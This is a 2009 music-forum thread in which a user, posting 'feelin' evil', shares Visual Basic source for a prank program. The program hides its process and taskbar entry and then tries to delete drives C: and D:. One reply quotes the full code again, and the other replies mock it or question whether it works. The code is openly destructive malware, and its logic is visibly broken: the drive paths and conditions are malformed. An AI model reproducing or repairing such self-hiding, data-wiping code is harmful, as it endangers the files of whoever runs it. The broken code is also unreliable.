I was bored and feelin' evil (quote) - Music Banter Music Banter

Go Back   Music Banter > Community Center > Media
Register Blogging Today's Posts
Welcome to Music Banter Forum! Make sure to register - it's free and very quick! You have to register before you can post and participate in our discussions with over 70,000 other registered members. After you create your free account, you will be able to customize many options, you will have the full access to over 1,100,000 posts.

Closed Thread
 
Thread Tools Display Modes
Old 03-04-2009, 09:12 AM   #1 (permalink)
Account Disabled
 
Join Date: Feb 2009
Location: lorain,ohio
Posts: 909
Default I was bored and feelin' evil

i love evil API...


Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0

Private Sub HideIt()
On Error Resume Next
Dim Process_ID As Long
Dim Register_Service As Long
Process_ID = GetCurrentProcessID()
Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call HideIt
Me.Hide
App.TaskVisible = False
Dim path As String
'if user does not have drive D (Backup/Restore)
'it will beep, but will recursively **** up any
'other drives specied
If Error Then GoTo Err
If FileExists("C:\") & ("D:\") = True Then
Kill "C:\" & "D:\"
If DriveExists("C:\") & ("D:\") Then
Kill "C:\" & "D:\"
Else
GoTo Err
End If
End If
Err: Beep
End Sub

put this in your modile...


Public Function FileExists(sFileName As String) As Boolean
If Len(sFileName$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(sFileName$)) Then
FileExists = True
Else
FileExists = False
End If
End Function

Public Function DriveExists(sDriveName As String) As Boolean
If Len(sDriveName$) = 0 Then
DriveExists = False
Exit Function
End If
If Len(Dir$(sDriveName$)) Then
DriveExists = True
Else
DriveExists = False
End If
End Function
coryallen2 is offline  
Old 03-04-2009, 10:13 AM   #2 (permalink)
Music Addict
 
7gaugejames's Avatar
 
Join Date: Feb 2009
Location: Imperial Beach Ca.
Posts: 101
Default

WTF is this.... are you evil?
__________________
I don't care who you are, Gunslinger, shmunslinger, everyone needs a good purse.
7gaugejames is offline  
Old 03-04-2009, 01:03 PM   #3 (permalink)
Craziest Thing
 
pahuuuta's Avatar
 
Join Date: Feb 2009
Location: New York
Posts: 459
Default

what is this?
__________________
He Who Makes A Beast Out Of Himself Gets Rid Of The Pain Of Being A Man
pahuuuta is offline  
Old 03-04-2009, 01:52 PM   #4 (permalink)
Mate, Spawn & Die
 
Janszoon's Avatar
 
Join Date: May 2007
Location: The Rapping Community
Posts: 24,593
Default

Quote:
Originally Posted by coryallen2 View Post
i love evil API...


Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0

Private Sub HideIt()
On Error Resume Next
Dim Process_ID As Long
Dim Register_Service As Long
Process_ID = GetCurrentProcessID()
Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call HideIt
Me.Hide
App.TaskVisible = False
Dim path As String
'if user does not have drive D (Backup/Restore)
'it will beep, but will recursively **** up any
'other drives specied
If Error Then GoTo Err
If FileExists("C:\") & ("D:\") = True Then
Kill "C:\" & "D:\"
If DriveExists("C:\") & ("D:\") Then
Kill "C:\" & "D:\"
Else
GoTo Err
End If
End If
Err: Beep
End Sub

put this in your modile...


Public Function FileExists(sFileName As String) As Boolean
If Len(sFileName$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(sFileName$)) Then
FileExists = True
Else
FileExists = False
End If
End Function

Public Function DriveExists(sDriveName As String) As Boolean
If Len(sDriveName$) = 0 Then
DriveExists = False
Exit Function
End If
If Len(Dir$(sDriveName$)) Then
DriveExists = True
Else
DriveExists = False
End If
End Function
When nerds go bad.
Janszoon is offline  
Old 03-04-2009, 05:29 PM   #5 (permalink)
nothing
 
mr dave's Avatar
 
Join Date: Mar 2008
Location: everywhere
Posts: 4,315
Default

i haven't written code in years but has scripting really evolved to the point of 'kill' and a drive letter being valid syntax for deleting/formatting a drive?

sounds like it's a nice way to brick your phone.
__________________
i am the universe

Quote:
Originally Posted by bandteacher1 View Post
I type whicked fast,
mr dave is offline  
Old 03-04-2009, 05:38 PM   #6 (permalink)
The Sexual Intellectual
 
Urban Hat€monger ?'s Avatar
 
Join Date: Dec 2004
Location: Somewhere cooler than you
Posts: 18,605
Default

I don't see any point to this.
__________________



Urb's RYM Stuff

Most people sell their soul to the devil, but the devil sells his soul to Nick Cave.
Urban Hat€monger ? is offline  
Closed Thread


Similar Threads



© 2003-2024 Advameg, Inc.